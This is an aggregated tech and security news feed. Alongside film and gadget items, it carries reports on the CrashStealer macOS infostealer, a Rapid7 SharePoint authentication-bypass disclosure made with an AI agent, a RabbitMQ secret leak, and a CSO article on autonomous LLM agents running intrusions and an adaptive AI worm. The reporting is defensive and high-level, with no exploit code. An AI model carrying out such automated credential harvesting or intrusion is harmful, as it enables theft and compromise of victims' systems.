Apple Original Film rather than an episodic series. Who does Ryan Reynolds play in Mayday? Ryan Reynolds plays Lieutenant Troy “Assassin” Kelly, a skilled US Navy pilot whose classified operation fails after he enters Soviet territory. Who does Kenneth Branagh play? Kenneth Branagh plays Nikolai Ustinov, a former KGB agent who rescues Troy and helps him hide from Soviet forces. Is Mayday based on a true story? Mayday is presented as an original fictional Cold War adventure. No official details describe the movie as a true story or an adaptation of real events. Will Mayday receive a cinema release? The movie is currently scheduled to premiere directly on Apple TV. A wide theatrical release has not been announced. Mayday arrives on Apple TV on September 4, bringing together Ryan Reynolds and Kenneth Branagh for a Cold War escape story with action, humour and an unusual friendship at its centre. Apple TV costs $12.99 per month in the US, with pricing varying across other regions. Are you planning to watch Mayday when it arrives? Let us know in the comments.

Here’s the Pixel Watch 5

Tue, 14 Jul 2026 17:35:11 +0200

After the wild day we had yesterday, where Google’s entire Pixel 11 series showed up early on Amazon, we were sort of assuming the Pixel Watch 5 would make an appearance at any moment. Today, that has happened through renders that look believable. The Pixel Watch 5 can be see here and will reportedly come...

Read the original post: Here’s the Pixel Watch 5

New macOS malware steals passwords by posing as Apple’s crash-reporting tool

Tue, 14 Jul 2026 15:51:52 +0200

Jamf Threat Labs has uncovered a new macOS infostealer named CrashStealer that disguises itself as Apple’s crash-reporting tool to steal passwords, Keychain data, and cryptocurrency wallets. The malware was first spotted in May while it was still under development. By early July, Jamf was seeing in-the-wild detections, indicating it had moved into active use. “Unlike much of the commodity stealer activity on macOS, which is built on AppleScript droppers or thin Objective-C wrappers, CrashStealer is … More →

The post New macOS malware steals passwords by posing as Apple’s crash-reporting tool appeared first on Help Net Security.

CVE-2026-55040: Microsoft SharePoint JWT Token Authentication Bypass (FIXED)

Tue, 14 Jul 2026 15:24:24 +0200

Overview

Rapid7 Labs conducted a zero-day research project against Microsoft SharePoint, resulting in the discovery of two new vulnerabilities that, when chained together, achieve unauthenticated remote code execution (RCE) against a vulnerable SharePoint server. Today, both Rapid7 and Microsoft are disclosing the first vulnerability in this chain, the authentication bypass vulnerability CVE-2026-55040. The RCE component of the exploit chain is expected to be patched by Microsoft in the next update cycle for August 2026. The exploit chain was developed as an entry for the recent Pwn2Own Berlin hacking competition – part of Rapid7 Labs' continued effort to raise the bar in Vulnerability Intelligence and our commitment to the preemptive protection of our customers through original vulnerability research.

A remote unauthenticated attacker can leverage CVE-2026-55040 to bypass authentication on a vulnerable SharePoint server and perform operations as a SharePoint site user or administrator. The vulnerability is due to several issues in the JWT token validation pipeline.

CVE-2026-55040 has a CVSSv3.1 score of 5.3 (Medium), and a Common Weakness Enumeration (CWE) of CWE-1390: Weak Authentication.

Product description

Microsoft SharePoint is a ubiquitous, web-based collaboration and document management platform deeply integrated into the Microsoft 365 ecosystem. Serving as the central hub for corporate intranets, internal file sharing, and workflow automation, it is trusted by enterprises worldwide to store and manage vast repositories of sensitive business data. Because SharePoint acts as a critical bridge between internal users, active directories, and cloud infrastructure, vulnerabilities within its architecture present a high-risk attack surface.

Impact

By leveraging CVE-2026-55040, a remote unauthenticated attacker can assume the identity of any SharePoint site user; the prerequisite is the attacker must know in advance the user they wish to identify as. This can be achieved in a number of ways, including via a user’s Active Directory (AD) Security ID (SID), or via a user’s AD User Principal Name (UPN). A UPN is the primary logon name for a user in either Windows AD or Microsoft Entra ID, and is formatted similar to that of an email address, e.g. administrator@domain.local.

In the example screenshot below, with identifying information redacted, a Rapid7 Labs proof-of-concept script discovers potential SharePoint users via SID enumeration and then leverages CVE-2026-55040 to bypass authentication on the target SharePoint site to assume the identity of that user — ultimately identifying the SharePoint site administrator user account.

Figure 1: The Rapid7 Labs PoC for CVE-2026-55040.

⠀

An attacker who successfully exploits CVE-2026-55040 can perform operations against the target SharePoint site as the user they identify as. Furthermore, this authentication bypass can be chained to additional vulnerabilities within the authenticated attack surface of the target site.

Rapid7 Labs has chained the authentication bypass CVE-2026-55040 with a separate RCE vulnerability for unauthenticated RCE. Patching CVE-2026-55040 will successfully break this exploit chain. The RCE component has been disclosed to Microsoft and is expected to be patched in the scheduled August patch cycle. The chaining of vulnerabilities highlights that even though the authentication bypass has been assigned a medium severity CVSS score by Microsoft, the impact of successfully chaining a medium severity authentication bypass to an RCE component is significant. This also underscores the importance of patching vulnerabilities such as authentication bypasses, which can break complex and high impact exploit chains.

Leveraging AI

To develop our SharePoint exploit chain, Rapid7 Labs undertook a research project divided into two main sprints, the first in January and the second in March, 2026. While both sprints did encompass more traditional vulnerability research such as manual code review and reverse engineering, a significant amount of the work was undertaken through an agent. Over 24 active days of agentic work, we leveraged 96 sessions, issued 256 prompts, and generated approximately 80,000 agentic tool calls.

The initial January sprint was unsuccessful, resulting in no findings that could be leveraged for an exploit chain. We used this sprint to experiment with several different publicly available models, along with different workflows to navigate and reason across a massive and complex codebase. However, our second sprint in March was successful and yielded, through a heavily prompted agent, a two-vulnerability exploit chain that achieved unauthenticated RCE.

The improvement in quality between January and March in terms of agentic work, along with our improved workflows, was noticeable. This highlights the speed at which this field is evolving, how publicly available models are improving, and how as research teams develop their workflows, the results begin to compound.

Credit

This vulnerability was discovered by Stephen Fewer, Senior Principal Security Researcher at Rapid7 and is being disclosed in accordance with Rapid7's vulnerability disclosure policy.

Vendor statement

The following statement has been provided by Microsoft:

“We would like to thank Rapid7 for responsibly reporting this issue through coordinated vulnerability disclosure.”

Technical analysis

Rapid7 will be publishing full technical details for CVE-2026-55040 within 30 days of this disclosure.

Remediation

Customers are advised to apply the latest available updates for the impacted product to ensure they are protected.

Rapid7 customers

Exposure Command, InsightVM and Nexpose customers will be able to assess their exposure to CVE-2026-55040 with Authenticated vulnerability checks available in the July 14 content release

Disclosure timeline

May 18, 2026: Rapid7 discloses an unauthenticated RCE exploit chain to Microsoft. Microsoft acknowledges receipt of the disclosure the same day.
May 20, 2026: Microsoft confirms the findings and indicates that the exploit chain will be patched across two scheduled update cycles - the authentication bypass component in July, and the RCE component in August.
May 21, 2026: Rapid7 acknowledges the disclosure schedule and requests supporting information. Microsoft requests a 30 day stay on disclosure of technical details and publication of PoC.
May 29, 2026: Rapid7 agrees to a 30 day stay on technical details with a proviso to publish earlier should either exploitation in-the-wild or third-party publication of details occur within the 30 days. Microsoft confirms the disclosure plan the same day.
June 30, 2026: Rapid7 requests supporting information for the upcoming disclosure.
June 30, 2026: Microsoft provides supporting information to Rapid7.
July 14, 2026: This disclosure for CVE-2026-55040.

Amazon-Kunden kaufen wie wild einen Kartenspielklassiker für unter 6 Euro

Tue, 14 Jul 2026 12:32:23 +0200

Ein Spieleklassiker bekommt durch eine clevere Idee eine völlig neue Dynamik. Auf Amazon bekommt ihr ihn besonders günstig.

CrashStealer: New macOS Infostealer Uses Signed Apps to Evade Gatekeeper

Tue, 14 Jul 2026 10:24:38 +0200

New macOS infostealer CrashStealer uses a signed app to bypass Gatekeeper, steals credentials and wallets, then AES-encrypts stolen data. Jamf Threat Labs first spotted CrashStealer in early May 2026 as a suspicious macOS sample uploaded to VirusTotal. By early July, in-the-wild detections confirmed the malware had moved from development into active deployment. The malware is […]

AI-powered breaches provide wake-up call for incident response

Tue, 14 Jul 2026 09:08:49 +0200

Enterprises have worked for years to improve detection and response times in the face of increasingly sophisticated attacks that relied on manual hacking and living-of-the-land techniques. AI is now threatening to undo those efforts.

An increasing number of threat actors are automating all phases of attacks, including lateral movement by using LLM-powered agents, severely reducing the time from initial access to deep environment compromises.

“The real shift is speed, scale, and orchestration: familiar cloud attack techniques were executed faster and across more surfaces than defenders could comfortably contain,” wrote researchers from security firm Sygnia last week in a report about an AI-assisted cloud environment compromise they investigated.

Sygnia’s report came on the heels of research from Sysdig about a cyber intrusion and extortion campaign conducted end to end by an autonomous AI agent. Actions undertaken by the agent included harvesting credentials, mapping internal services, and establishing persistence.

What both incidents show is that AI attacks have graduated beyond LLM-written malware scripts and phishing lures to handling all stages of attack chains, including parts that previously required human reasoning and hands-on command execution adapted to the environment.

Last month researchers from the University of Toronto revealed that they managed to create an AI-powered self-replicating worm capable of autonomously finding and exploiting weaknesses in dozens of simulated systems. The researchers achieved this by leveraging an open-weight AI model and building an attack harness to keep it on track.

While it may not be surprising to security experts that this level of AI-assisted attack automation is already happening in the wild, it’s very unlikely that many companies have had time to adapt their defenses.

“What this exposes is a truth that all security personnel must come to terms with: Most breaches won’t hinge on advanced AI, but on unpatched systems, exposed services, and weak identity controls,” Gidi Cohen, CEO and co-founder of AI security startup Bonfy.ai, tells CSO. “AI just makes those gaps impossible to ignore. The organizations that will struggle aren’t the ones lacking AI defenses; they’re the ones still relying on human-speed security in a machine-speed threat environment.”

No need for zero-days

As aptly demonstrated by the U of Toronto study, AI agents don’t need sophisticated zero-day vulnerabilities to break into environments, because many environments have systems and applications with known flaws and generic weaknesses.

The attack documented by Sysdig, which its researchers dubbed JadePuffer, exploited a year-old vulnerability (CVE-2025-3248) in Langflow, ironically a tool for building AI agents. In the new attack documented by Sygnia, attackers exploited a weakness in a web application that enabled them to find a stored AWS key. From there they quickly made their way through the victim’s cloud environment with the help of AI automation.

“The threat actor was not exploiting a single misconfiguration; they were chaining weaknesses across application services, AWS resources, source-control repositories, CI/CD workflows, runtime components, and data stores, while rapidly executing credential discovery, secrets harvesting, cloud enumeration, deployment-pipeline abuse, runtime modification, database access, and operational disruption,” the researchers said.

As with the JadePuffer case, the attackers documented by Sygnia were focused on extorting money from the victim. To achieve this, they compromised as many AWS instances as possible, exfiltrated data but also set up multiple persistence points in the AWS environment. The goal was to put pressure on the victim by demonstrating that despite recovery efforts they still had access to the environment.

Speed is the new game

Once sophisticated attackers break into an environment they often spend weeks or even months slowly moving to other systems. This is in part because it takes time for a human team to gain a thorough understanding of the environment and to find where the most valuable systems are.

This activity is also often trial-and-error: The attackers perform reconnaissance to discover the network’s topology, find exploitable weaknesses in additional systems, and search them for stored credentials that could provide access to more targets, all while using existing OS tools or common system administration techniques that won’t trip malware and intrusion detection systems.

Active threat hunting is one way to counter such techniques that are designed to evade automated detection. When threat hunting, human analysts inspect the organization’s network and systems manually for signs of compromises that might have been missed by tools. This is a slow but effective defensive technique — but only if attackers operate with the same time constraints.

“Traditional incident response often relies on the assumption that attacker progression will generate enough observable signals for defenders to investigate and contain activity before access materially expands across the environment,” Sygnia’s researchers wrote in their report. “The observed attack pattern challenged this assumption. Forensic traces showed rapid, repeated activity consistent with automated or AI-assisted workflows for credential harvesting, permission analysis, vulnerability discovery, and attack-path mapping, allowing the intrusion to progress across multiple stages in a compressed time frame.”

And it wasn’t a case of simple automated scripts going through an attack playbook either, but workstreams that showed clear signs of environment adaptation. Every new access was rapidly assessed and resulted in actions tailored for that specific system, whether an EC2 instance, S3 bucket, SQL database, or a CI/CD runner on GitHub.

Prevention is back in the spotlight

The obvious answer to AI-assisted attacks is AI-assisted defense. But simply the presence of AI-powered features in detection and response products is not a guarantee for thwarting such fast and adaptive attacks. Organizations must ensure all these tools and workflows are well integrated into a coordinated process across their different teams.

Moreover, these attacks show the value of defense-in-depth actions such as continuous validation of configurations, fast patch deployment, frequent secrets rotation, network segmentation, IP-based access control rules, implementing the principle of least privilege for credentials, restricting administrative privileges, enabling multi-factor authentication, and isolating cloud workloads.

Sygnia also recommends building automated response playbooks that can be quickly adjusted and deployed when potential signs of compromise are detected.

“The skill floor for running a ransomware operation dropped to the cost of running an agent,” Dray Agha, senior manager of tactical response at security firm Huntress, tells CSO. “Very mediocre cyber criminals can now ‘level up’ their impact from AI. That should worry defenders more than any single new technique, as it means more attackers, more often, against more of the long tail of unpatched, exposed infrastructure.”

RabbitMQ Vulnerability Exposes OAuth Secrets to Attackers

Tue, 14 Jul 2026 07:52:08 +0200

A newly disclosed RabbitMQ vulnerability, tracked as CVE-2026-5721, has raised concerns among enterprise users after researchers revealed that the flaw could allow unauthenticated attackers to retrieve a broker's confidential OAuth client secret. The successful exploitation could enable attackers to impersonate the broker, obtain administrator-level access, and potentially take control of the messaging infrastructure.

CVE-2026-5721 Allows Exposure of OAuth Client Secrets

RabbitMQ, a widely used open source message broker that enables asynchronous communication by routing, buffering, and distributing messages between applications, is affected by the issue. The CVE-2026-5721 flaw carries a CVSS severity score of 8.7 and stems from an exposed management endpoint that returns the OAuth client secret without requiring authentication. The RabbitMQ vulnerability originates from an obsolete endpoint in the platform's management web interface. It can be exploited when administrators configure the broker with a confidential password for identity provider authentication. The risk is particularly significant in deployments using OAuth 2.0 or OpenID Connect identity providers such as Auth0, Azure AD/Entra ID, Keycloak, or UAA, where confidential client secrets are commonly configured. In such environments, attackers exploiting CVE-2026-5721 could obtain administrator tokens and gain control over users, queues, messages, and broker configurations.

Which RabbitMQ Deployments Are at Risk?

However, systems without a configured client secret are not vulnerable because there is no credential to expose. Likewise, RabbitMQ deployments that do not use the management plugin are unaffected by this RabbitMQ vulnerability. Cybersecurity firm Miggo warned that the highest risk exists when the management interface is accessible from untrusted networks. The risk is sharpest wherever the management port is reachable by an untrusted network: cloud or multi-tenant setups, or a management UI accidentally exposed to the internet," the company said. The CVE-2026-5721 flaw was introduced in RabbitMQ version 3.13.0 in early 2024. It has since been patched in versions 4.3.0, 4.2.6, 4.1.11, 4.0.20, and 3.13.15.

Patches Also Address a Second Security Flaw

The security updates also fix CVE-2026-57221, a medium-severity vulnerability with a CVSS score of 5.3. This authorization issue allows any authenticated user to enumerate queues and exchanges while viewing related statistics. According to Miggo, attackers could use the flaw to map an organization's virtual host, infer business activity, and collect intelligence for future attacks, particularly in multi-tenant environments where multiple teams or applications share the same virtual host. To reduce exposure to the RabbitMQ vulnerability, organizations are advised to update affected deployments immediately, restrict access to vulnerable systems if patching cannot be performed, prevent public exposure of the management interface, implement network segmentation, and rotate OAuth client secrets. Although there is currently no evidence that CVE-2026-5721 has been exploited in the wild, Miggo noted, "Neither of these RabbitMQ bugs is exotic. They sat in the codebase for over two years. They are precisely the kind of quiet, systemic inconsistency that hides in mature, widely deployed software: the kind a human reviewer reads past, and a single-pass tool fails to compare against everything around it."

What Is WebView2? From "Proxy Execution with Microsoft Edge WebView2 - Matthew Eidelberg"

Mon, 13 Jul 2026 20:48:22 +0200

Author: Black Hills Information Security - Bewertung: 0x - Views:12

How do sideloading techniques work in today’s runtime environment?

Join us for a free one-hour BHIS webcast with Matthew Eidelberg on proxy execution via Microsoft Edge WebView2.

Full Webcast:
https://youtu.be/HTvLbzrf1R0

Matthew will break down techniques that blur the line between legitimate app behavior and malicious activity, showing how shared runtime components are changing execution and detection boundaries.

You’ll learn how traditional sideloading concepts apply in modern environments, how WebView2 is increasingly embedded across the ecosystem, and how attackers can exploit it to bypass common detection methods.

🛝 Webcast Slides
https://www.blackhillsinfosec.com/wp-content/uploads/2026/04/Proxy-Execution-with-Microsoft-Edge-Webview2.pdf

/// 🔗 Register for webcasts, summits, and workshops -
https://poweredbybhis.com

///Black Hills Infosec Socials
Twitter: https://twitter.com/BHinfoSecurity
Mastodon: https://infosec.exchange/@blackhillsinfosec
LinkedIn: https://www.linkedin.com/company/antisyphon-training
Discord: https://discord.gg/ffzdt3WUDe

///Black Hills Infosec Shirts & Hoodies
https://spearphish-general-store.myshopify.com/collections/bhis-shirt-collections

///Black Hills Infosec Services
Active SOC: https://www.blackhillsinfosec.com/services/active-soc/
Penetration Testing: https://www.blackhillsinfosec.com/services/
Incident Response: https://www.blackhillsinfosec.com/services/incident-response/

///Backdoors & Breaches - Incident Response Card Game
Backdoors & Breaches: https://www.backdoorsandbreaches.com/
Play B&B Online: https://play.backdoorsandbreaches.com/

///Antisyphon Training
Pay What You Can: https://www.antisyphontraining.com/pay-what-you-can/
Live Training: https://www.antisyphontraining.com/course-catalog/
On Demand Training: https://www.antisyphontraining.com/on-demand-course-catalog/
Antisyphon Discord: https://discord.gg/antisyphon
Antisyphon Mastodon: https://infosec.exchange/@Antisy_Training

///Educational Infosec Content
Black Hills Infosec Blogs: https://www.blackhillsinfosec.com/blog/
Wild West Hackin' Fest YouTube: https://www.youtube.com/wildwesthackinfest
Antisyphon Training YouTube: https://www.youtube.com/antisyphontraining
Active Countermeasures YouTube: https://youtube.com/activecountermeasures
Threat Hunter Community Discord: https://discord.gg/threathunter

Join us at the annual information security conference in Deadwood, SD (in-person and virtually) — Wild West Hackin' Fest: https://wildwesthackinfest.com/

AI is killing low cost smartphones

Mon, 13 Jul 2026 19:32:57 +0200

Except for the second user/refurbished smartphone markets, AI means the days of cheap phones are over, with huge price pressures putting low-end vendors out of business.

Omdia data confirms that Apple and Samsung are undisputed kings of the hill, combining for 42% of the market even as smartphone sales overall have seen a 4% average decline.

The two companies increased market share by 4% (Apple) and 2% (Samsung) compared with 2Q25. Meanwhile, the situation is becoming much worse for smaller vendors as memory prices spiral, leaving their businesses under immense strain. Data from Counterpoint Research tells a similar story, indicating Apple growth against a background of market decline.

It’s important to put the impact of raised RAM costs into perspective. While Apple and Samsung make products at the kind of scale that enables them to cut better deals, smaller makers don’t have the same advantage, leaving them far more exposed to memory price driven pressures.

Memory prices are crushing the low end

And they really are exposed; not only are sales declining, but Omdia analyst Runar Bjorhovde notes that vendors at that end of the market are dealing with hugely destructive DRAM price hikes over just the past year — up to four or five times higher in some cases. That degree of increase is the kind of business-focused tsunami that drives people out of the market altogether and certainly leaves companies exposed to M&A activity.

Right now, memory and storage can account for more than 60% of the product cost, Bjorhovde said. And as costs continue to increase, what profitability that does exist in the low-cost, high competition lower end smartphone space is being utterly mauled. Omdia forecasts a 22% decline in the sub-$400 smartphone segment as a result.

“Samsung Electronics and Apple — the two market leaders — made huge market share gains…, whereas most players beyond went through steep volume declines,” Bjorhovde said.

From volume to value

Apple’s decision to expand its addressable market with the iPhone ‘e’ series just adds pressure, while Samsung’s enduring popularity helps make it difficult for smaller vendors to generate profit through market scale. “To adapt, vendors are shifting their strategies from volume to value by reoptimizing portfolios and adjusting retail pricing,” he said.

“Although memory and storage costs are the biggest challenges for vendors, they are far from the only challenge,” Bjorhovde said. “New semiconductor bottlenecks, such as within foundries, are adding further cost pressures.”

With the cost of manufacturing set to continue to rise, it’s generally accepted that we’ll see the average selling price of smartphones climb in the coming 12 months, with Apple set to lead the market toward higher cost builds with the new Pro and Ultra iPhones this September.

Apple’s decision to hold smartphone prices so far has added another price pressure to low-end vendors; the longer it holds its prices down, the longer and more painful will smaller vendors hang onto their own low-price structure to compete.

Future shock: AI hardware

A further wild card is in Apple’s recent lawsuit against OpenAI, which accuses the ChatGPT maker of “illegal reliance on misappropriated trade secrets” in its hardware plans. OpenAI is thought to be planning an AI-driven iPhone competitor.

We’ve heard speculation about these plans before, of course. But what seems to be emerging in the wake of Apple’s litigation are hints OpenAI intends to introduce its first AI hardware product at some point in 2027.

Assuming that schedule remains on track, OpenAI will likely impose further component pricing pressure across the whole industry. After all, Apple’s customer loyalty leads the industry, and Samsung has built something similar. So, the companies with the most to lose to OpenAI will be the same set of smaller vendors who are already struggling with component price-driven market complexity.

OpenAI products will demand the same memory, similar processors, manufacturing, and other components as other devices, prompting further pricing pressure. That’s likely to put some small vendors out of business entirely, even as standard smartphone prices increase.

Fragmentation will be next

Those outcomes won’t be universal, as the desire for sovereign data services and growing mistrust of US tech companies suggest OpenAI’s products might see limited adoption in most markets. But they could serve to accelerate divergence in smartphone purchasing patterns worldwide, while adding to market pressure.

You can follow me on social media! Join me on BlueSky, LinkedIn, Mastodon, and subscribe to The Core.

Tom Cruise's new movie Digger just got an absolutely unhinged first full trailer — but the Mission: Impossible star's 'wild' transformation is not what I'm most excited about

Mon, 13 Jul 2026 17:18:09 +0200

The first trailer for Digger, the new movie starring Tom Cruise as you never seen him before, is here— but it's not the age transformation we should be most excited for.

What’s the Go language really good for?

Mon, 13 Jul 2026 17:04:43 +0200

Over its more than 15 years in the wild, Google’s Go programming language has evolved from a curiosity for alpha geeks to the battle-tested programming language behind some of the world’s most important cloud-native software projects.

If you’ve ever wondered why Go is the language of choice for projects like Docker and Kubernetes, this article is for you. We’ll discuss Go’s defining characteristics and how it differs from other programming languages. You will also learn what kinds of projects Go is best suited for, including the state of Go development for AI-powered tools. We’ll conclude with an overview of Go’s feature set, some limitations of the language, and where it may be going from here.

Also see: Golang tutorial: Get started with the Go language.

Go is small and simple

Go, or Golang as it’s often called, was created by Google employees—chiefly longtime Unix guru and Google distinguished engineer Rob Pike—but it’s not strictly speaking a “Google project.” Rather, Go is a community-developed open source project, spearheaded by leadership with strong opinions about how Go should be used and the direction the language should take.

Go is meant to be easy to learn and straightforward to use, with syntax that is simple to read and understand. Go does not have a large feature set, especially when compared to languages like C++. Go’s syntax is reminiscent of C, making it relatively easy for longtime C developers to learn. That said, many features of Go, especially its concurrency and functional programming features, harken back to languages like Erlang.

As a C-like language for building and maintaining cross-platform enterprise applications of all sorts, Go has much in common with Java. And as a means for enabling rapid development of code that might run anywhere, you could draw a parallel between Go and Python, though the differences outweigh the similarities.

The Go documentation describes Go as “a fast, statically typed, compiled language that feels like a dynamically typed, interpreted language.” Even a large Go program will compile in a matter of seconds. Plus, Go avoids much of the overhead of C-style include files and libraries.

Advantages of the Go language

Go is a versatile, convenient, fast, portable, interoperable, and widely supported modern language. These characteristics have helped to make it a top choice for large-scale development projects. Let’s look more closely at each of these positive qualities of Go.

Go is versatile and convenient

Go has been compared to interpreted languages like Python in its ability to satisfy many common programming needs. Some of this functionality is built into the language itself, such as goroutines for concurrency and thread-like behavior, while additional capabilities are available in Go standard library packages, like the http package. Like Python, Go provides automatic memory management capabilities including garbage collection.

Unlike interpreted languages, however, Go code compiles to a fast-running native binary. And unlike C or C++, Go compiles extremely fast—fast enough to make working with Go feel more like working with an interpreted language than a compiled one. Further, the Go build system is less complex than those of other compiled languages. It takes few steps and little bookkeeping to build and run a Go project.

Go is faster than many other languages

Go binaries run more slowly than their C counterparts, but the difference in speed is negligible for most applications. Go performance is as good as C for the vast majority of work, and generally much faster than other languages known for speed of development—including JavaScript, Python, and Ruby.

Go is portable and interoperable

Executables created with the Go toolchain can stand alone, with no default external dependencies. The Go toolchain is available for a wide variety of operating systems and hardware platforms, and can be used to compile binaries across platforms. What’s more, Go delivers all of the above without sacrificing access to the underlying system. Go programs can talk to external C libraries or make native system calls. In Docker, for instance, Go interacts with low-level Linux functions, cgroups, and namespaces to work container magic.

Go is widely supported

The Go toolchain is freely available as a Linux, macOS, or Windows binary, or as a Docker container. Go is included by default in many popular Linux distributions, such as Red Hat Enterprise Linux and Fedora, making it somewhat easier to deploy Go source to those platforms. Support for Go is also strong across many third-party development environments, from Microsoft’s Visual Studio Code to ActiveState’s Komodo IDE.

Also see: 8 reasons developers love Go—and 8 reasons they don’t.

Optimal use cases for the Go language

No language is suited to every job, but some languages are suited to more jobs than others. Go shines brightest in cloud-native development projects, distributed network services, and for developing utilities and stand-alone tools. Let’s consider the qualities that make Go especially well-suited to each of these project types.

Cloud-native development

Go’s concurrency and networking features, and its high degree of portability, make it well-suited for building cloud-native apps. In fact, Go was used to build several cornerstones of cloud-native computing including Docker, Kubernetes, and Istio.

Distributed network services

Network applications live and die by concurrency, and Go’s native concurrency features—goroutines and channels, mainly—are well suited for such work. Consequently, many Go projects are for networking, distributed functions, and cloud services. These include APIs, web servers, Kubernetes-ready frameworks for microservices, and much more.

Utilities and standalone tools

Go programs compile to binaries with minimal external dependencies. That makes them ideally suited to creating utilities and other tools, because they launch quickly and can be readily packaged up for redistribution. One example is an access server called Teleport, which can be deployed on servers quickly by compiling it from source or downloading a prebuilt binary.

Limitations of the Go language

Now let’s consider some of the limitations of Go. For one, it omits many language features developers may desire. It also packs everything into its binaries, so Go programs can be large. Furthermore, Go’s garbage collection mechanism delivers automatic memory management at the cost of absolute performance. The language also lacks a standard toolkit for building GUIs, and it is unsuited to systems programming.

Let’s look at each of these issues in detail.

Go omits many desirable language features

Go’s opinionated set of features draws both praise and criticism. Go is designed to err on the side of being small and easy to understand, with certain features deliberately omitted. The result is that some features that are commonplace in other languages simply aren’t available in Go. This is purposeful, but it’s still a drawback for some types of projects.

One thing Go omits that you will find in other languages is macros, commonly defined as the ability to generate program code at compile time. C, C++, and (the rising star) Rust all have macro systems. Go does not have macros, or at least not of the same variety as those languages. What Go does have is a tool command, go generate, which looks for magic comments in Go source and executes them. This can be used to generate Go source code, or even run other commands, but its main use is to programmatically generate code, usually as a precursor to the build process. (Technical blogger Eli Bendersky explains the ‘go generate’ command in detail.)

Another longstanding complaint with Go was, until recently, the lack of generic functions, which allow a function to accept many different types of variables. Go’s development team held out against adding generics to the language for many years because they wanted a syntax and set of behaviors that complemented the rest of Go. But as of Go 1.18, released in early 2022, the language includes a syntax for generics. Because go generate and its code-generation abilities emerged as one possible way to partially address the lack of generics, this functionality is no longer as commonly used in Go.

The fact is that Go adds major language features rarely, and only after much consideration. This works to preserve broad compatibility across versions, but it comes at the cost of slower innovation.

Also see: What you need to know about Go, Rust, and Zig.

Go’s binaries are large

Another potential downside to Go is the size of the generated binaries. Go binaries are statically compiled by default, meaning that everything needed at runtime is included in the binary image. This approach simplifies the build and deployment process, but at the cost of a simple “Hello, world!” weighing in at around 1.5MB on 64-bit Windows. The Go team has been working to reduce the size of those binaries with each successive release. It is also possible to shrink Go binaries with compression or by removing Go’s debug information. This last option may work better for standalone distributed apps than for cloud or network services, where having debug information is useful if a service fails in place.

Go’s garbage collection is resource hungry

Yet another touted feature of Go, automatic memory management, can be seen as a drawback, as garbage collection requires a certain amount of processing overhead. By design, Go doesn’t provide manual memory management, and garbage collection in Go has been criticized for not dealing well with the kinds of memory loads that appear in enterprise applications.

That said, each new version of Go seems to improve the memory management features. For example, Go 1.8 brought significantly shorter lag times for garbage collection, and Go 1.25 introduced a new, experimental garbage collector. While Go developers can use manual memory allocation in a C extension, or by way of a third-party manual memory management library, most prefer native solutions.

Go doesn’t have a standard GUI toolkit

Most Go applications are command-line tools or network services. That said, various projects are working to bring rich GUIs for Go applications. There are bindings for the GTK and GTK3 frameworks. Another project is intended to provide platform-native UIs across platforms, although it focuses on Go 1.24 forward only. But no clear winner or safe long-term bet has emerged in this space. Also, because Go is platform-independent by design, it is unlikely any project in this vein will become a part of the standard package set.

You shouldn’t use Go for systems programming

Finally, although Go can talk to native system functions, it was not designed for developing low-level system components such as kernels, device drivers, or embedded systems. After all, the Go runtime and the garbage collector for Go applications are dependent on the underlying operating system. (Developers interested in a cutting-edge language for that kind of work might look into using Rust.)

The future of the Go language

Go’s development is turning more toward the wants and needs of its developer base, with Go’s minders changing the language to better accommodate this audience rather than leading by stubborn example. A case in point is generics, which were finally added to the language after much deliberation about the best way to do so.

The 2024 Go Developer Survey found developers were overall satisfied with Go. Challenges that surfaced were generally due to the verbosity of error handling, missing or immature frameworks, and using Go’s type system—areas ripe for future development.

Like most languages, Go has gravitated to a core set of use cases over time, finding its niche in network services. In the future, Go is likely to continue expanding its hold there. Other use cases cited in the developer survey include creating APIs or RPC services (74% of respondents), followed by CLI applications (63%), web services (45%), libraries/frameworks (44%), automation (39%), and data processing (37%). While only 4% of respondents mentioned using Go to develop AI technologies, those who did reported that Go was a strong platform for running AI-powered workloads in production. For those wanting to develop ML/AI with Go, lack of tooling (23%) and the fact that Python is the default choice for such work (16%) topped the reasons why.

It remains to be seen how far Go’s speed and development simplicity will take it into other use cases, especially those dominated by other languages and their existing use cases. Rust covers safe and fast systems programming (a space Go is unlikely to enter); Python is still a common default for ML/AI, prototyping, automation, and glue code; and Java remains a stalwart for enterprise applications.

But Go’s future as a major programming language is already assured—certainly in the cloud, where the speed and simplicity of Go ease the development of scalable infrastructure that can be maintained over the long run.

Also see: Go language evolving for future hardware, AI workloads.

AI-Powered ‘Intelligent Worm’ Could Regenerate Exploits and Adapt to Defenses in Real Time

Mon, 13 Jul 2026 16:09:18 +0200

The post AI-Powered ‘Intelligent Worm’ Could Regenerate Exploits and Adapt to Defenses in Real Time appeared first on IT Security News.

AI-Powered ‘Intelligent Worm’ Could Regenerate Exploits and Adapt to Defenses in Real Time

Mon, 13 Jul 2026 14:39:32 +0200

A new threat model is raising hard questions about how quickly self-spreading malware could change during an attack. The proposed Intelligent Worm is not a confirmed strain found in the wild, but a scenario in which a worm uses an onboard reasoning loop to revise its attack methods after defenses block its original route. Like […]

The post AI-Powered ‘Intelligent Worm’ Could Regenerate Exploits and Adapt to Defenses in Real Time appeared first on Cyber Security News.

CISA Warns of Actively Exploited iCagenda and Balbooa Forms File Upload Flaws

Mon, 13 Jul 2026 12:08:33 +0200

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has added two file-upload vulnerabilities, affecting iCagenda and Balbooa Forms, to its Known Exploited Vulnerabilities (KEV) Catalog due to evidence of active exploitation in the wild. The alert was issued on July…

The post CISA Warns of Actively Exploited iCagenda and Balbooa Forms File Upload Flaws appeared first on IT Security News.

CISA Adds Actively Exploited iCagenda and Balbooa Forms RCE Flaws to KEV

Mon, 13 Jul 2026 10:54:08 +0200

The Cybersecurity and Infrastructure Security Agency (CISA) added two actively exploited vulnerabilities to its Known Exploited Vulnerabilities (KEV) Catalog on July 10, 2026, citing confirmed evidence of in-the-wild exploitation. Both flaws affect widely used WordPress plugins and share a common root cause: unrestricted file upload, a vulnerability class that frequently enables remote code execution (RCE). […]

The post CISA Adds Actively Exploited iCagenda and Balbooa Forms RCE Flaws to KEV appeared first on Cyber Security News.

CISA Warns of Actively Exploited iCagenda and Balbooa Forms File Upload Flaws

Mon, 13 Jul 2026 10:36:36 +0200

The post CISA Warns of Actively Exploited iCagenda and Balbooa Forms File Upload Flaws appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

‘House of the Dragon’ Season 3, Episode 5 Release Date and What to Expect

Mon, 13 Jul 2026 10:25:03 +0200

5 steps to building an AI-ready culture before your next technology investment

Mon, 13 Jul 2026 10:03:45 +0200

